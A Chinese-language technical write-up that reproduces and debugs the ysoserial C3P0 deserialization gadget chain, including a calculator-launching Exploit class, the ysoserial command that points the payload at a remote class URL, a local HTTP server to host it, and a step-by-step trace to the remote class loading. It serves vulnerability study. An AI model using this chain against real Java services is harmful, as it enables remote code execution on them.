ysoserial-C3P0

0x01 概述

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等。

0x02 环境搭建

1
2
3
4
5
6
7
//pom.xml
<!-- https://mvnrepository.com/artifact/com.mchange/c3p0 -->
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>

0x03 漏洞复现

1
2
3
4
5
6
7
8
9
public class Exploit {
public Exploit(){
try {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
} catch (Exception e) {

}
}
}
1
2
java -jar ysoserial-master-55f1e7c35c-1.jar C3P0 "http://127.0.0.1:8888/:Exploit" > test.txt
python -m SimpleHTTPServer 8888

image-20191219141911631

0x04 利用链分析

1
2
3
4
5
6
7
8
9
10
11
12
13
public Object getObject ( String command ) throws Exception {
int sep = command.lastIndexOf(':');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}

String url = command.substring(0, sep);
String className = command.substring(sep + 1);

PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
}

这里简单分享一个 ysoserial 本身的调试,知道的师傅可以略过了,debug的时候在 Program arguments 增加相关参数。

image-20191219145627516

然后在 ysoserial.GeneratePayload 选择debug启动,并且在C3P0处下一个断点,自然就进来了。

image-20191219145736064

image-20191219145852192

首先通过 Reflections.createWithoutConstructor 构造了无参数对象,可以看到这里面只有类名,其他啥都没。

image-20191219150137865

然后将对象的 connectionPoolDataSource 设置为了我们需要的 C3P0 的内部 PoolSource 对象。

image-20191219150824416

但是我们都知道反序列化漏洞肯定是需要序列化生成对象,所以会和 writeObject 有关系,进入到 PoolBackedDataSourceBase ,这里首先尝试进行序列化。但是回头看看我们的开头的 PoolSource 类的定义,没有继承 Serializable 接口,所以他没办法进行序列化。根据下图中的代码逻辑,当无法进行序列化的时候,自然进入到是第三个红框中的获取 reference 。这里代码中有个 this.connectionPoolDataSource 对象,这也是为什么最开始定义 PoolSource 类的时候需要同时实现 ConnectionPoolDataSourceReferenceable

image-20191219151920069

image-20191219152032113

而在 ReferenceIndirector 这个类中,对象 Reference 会被 ReferenceSerialized 包装后写入到数据字节流中。

image-20191219152625068

上面就是 payload 生成过程中利用链,既然是序列化生成,那么反序列化的时候自然会针对对象进行读取。在 PoolBackedDataSourceBase 中会进行readobject方法读取序列化对象中的 ReferenceSerialized 对象。

image-20191219153645829

然后会调用 ReferenceIndirector#getObject 方法,读取刚刚写入的恶意类 Exploit

image-20191219153755307

最后return时候经过 ReferenceableUtils.referenceToObject 处理,在 referenceToObject 看到了最终的触发点。通过刚刚传入的URL地址,加载了我们的恶意类 Exploit ,并且调用无参构造函数进行实例化,最后完成整个过程。

image-20191219153936707

序列化过程:

2019-12-19_163155

反序列化过程:

2019-12-19_164331

0x05 漏洞修复

其实不能说是漏洞,应该说是利用链缓解,本以为 ysoserial 这个组件中说的 c3p0:0.9.5.2

image-20191219165548406

那么下一个版本可能会有缓解措施,但是现实却是十分的骨感,我在这个地方,看到当前最高版本是0.9.5.5更新时间是2019/12

image-20191219165657963

实际测试下来,依然能够使用

image-20191219165735923

0x06 小结

这个利用链还是挺有趣的,有点像JDNI注入,通过获取工厂对象,重新构造ConnectionPoolDataSource,利用反序列化一步步达到自己的目的。